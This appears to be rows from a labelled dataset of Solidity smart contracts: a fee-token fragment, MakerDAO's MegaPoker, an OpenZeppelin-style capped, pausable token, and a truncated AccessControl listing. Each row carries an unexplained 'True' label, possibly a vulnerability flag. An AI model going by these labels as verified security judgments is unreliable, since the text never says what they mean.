uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: AGPL-3.0
// The MegaPoker
//
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.6.12;
contract PokingAddresses {
// OSMs and Spotter addresses
address constant eth = 0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763;
address constant bat = 0xB4eb54AF9Cc7882DF0121d26c5b97E802915ABe6;
address constant btc = 0xf185d0682d50819263941e5f4EacC763CC5C6C42;
address constant knc = 0xf36B79BD4C0904A5F350F1e4f776B81208c13069;
address constant zrx = 0x7382c066801E7Acb2299aC8562847B9883f5CD3c;
address constant mana = 0x8067259EA630601f319FccE477977E55C6078C13;
address constant usdt = 0x7a5918670B0C390aD25f7beE908c1ACc2d314A3C;
address constant comp = 0xBED0879953E633135a48a157718Aa791AC0108E4;
address constant link = 0x9B0C694C6939b5EA9584e9b61C7815E8d97D9cC7;
address constant lrc = 0x9eb923339c24c40Bef2f4AF4961742AA7C23EF3a;
address constant yfi = 0x5F122465bCf86F45922036970Be6DD7F58820214;
address constant bal = 0x3ff860c0F28D69F392543A16A397D0dAe85D16dE;
address constant uni = 0xf363c7e351C96b910b92b45d34190650df4aE8e7;
address constant aave = 0x8Df8f06DC2dE0434db40dcBb32a82A104218754c;
address constant univ2daieth = 0xFc8137E1a45BAF0030563EC4F0F851bd36a85b7D;
address constant univ2wbtceth = 0x8400D2EDb8B97f780356Ef602b1BdBc082c2aD07;
address constant univ2usdceth = 0xf751f24DD9cfAd885984D1bA68860F558D21E52A;
address constant univ2daiusdc = 0x25D03C2C928ADE19ff9f4FFECc07d991d0df054B;
address constant univ2ethusdt = 0x5f6dD5B421B8d92c59dC6D907C9271b1DBFE3016;
address constant univ2linketh = 0xd7d31e62AE5bfC3bfaa24Eda33e8c32D31a1746F;
address constant univ2unieth = 0x8462A88f50122782Cc96108F476deDB12248f931;
address constant univ2wbtcdai = 0x5bB72127a196392cf4aC00Cf57aB278394d24e55;
address constant univ2aaveeth = 0x32d8416e8538Ac36272c44b0cd962cD7E0198489;
address constant univ2daiusdt = 0x9A1CD705dc7ac64B50777BcEcA3529E58B1292F1;
address constant spotter = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
}
contract MegaPoker is PokingAddresses {
function poke() external {
bool ok;
// poke() = 0x18178358
(ok,) = eth.call(abi.encodeWithSelector(0x18178358));
(ok,) = bat.call(abi.encodeWithSelector(0x18178358));
(ok,) = btc.call(abi.encodeWithSelector(0x18178358));
(ok,) = knc.call(abi.encodeWithSelector(0x18178358));
(ok,) = zrx.call(abi.encodeWithSelector(0x18178358));
(ok,) = mana.call(abi.encodeWithSelector(0x18178358));
(ok,) = usdt.call(abi.encodeWithSelector(0x18178358));
(ok,) = comp.call(abi.encodeWithSelector(0x18178358));
(ok,) = link.call(abi.encodeWithSelector(0x18178358));
(ok,) = lrc.call(abi.encodeWithSelector(0x18178358));
(ok,) = yfi.call(abi.encodeWithSelector(0x18178358));
(ok,) = bal.call(abi.encodeWithSelector(0x18178358));
(ok,) = uni.call(abi.encodeWithSelector(0x18178358));
(ok,) = aave.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2daieth.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2wbtceth.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2usdceth.call(abi.encodeWithSelector(0x18178358));
// (ok,) = univ2daiusdc.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2ethusdt.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2linketh.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2unieth.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2wbtcdai.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2aaveeth.call(abi.encodeWithSelector(0x18178358));
(ok,) = univ2daiusdt.call(abi.encodeWithSelector(0x18178358));
// poke(bytes32) = 0x1504460f
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("ETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("BAT-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("WBTC-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("KNC-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("ZRX-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("MANA-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("USDT-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("COMP-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("LINK-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("LRC-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("ETH-B")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("YFI-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("BAL-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("RENBTC-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNI-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("AAVE-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2DAIETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2WBTCETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2USDCETH-A")));
// (ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2DAIUSDC-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2ETHUSDT-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2LINKETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2UNIETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2WBTCDAI-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2AAVEETH-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("UNIV2DAIUSDT-A")));
(ok,) = spotter.call(abi.encodeWithSelector(0x1504460f, bytes32("ETH-C")));
}
} | True | [
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pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract ElasticToken is CappedToken, PausableToken, BurnableToken {
string public constant name = "Elastic IP Address";
string public constant symbol = "EIP";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 10000 * (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 1000 * (10 ** uint256(decimals));
function ElasticToken() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = true;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2 <0.9.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
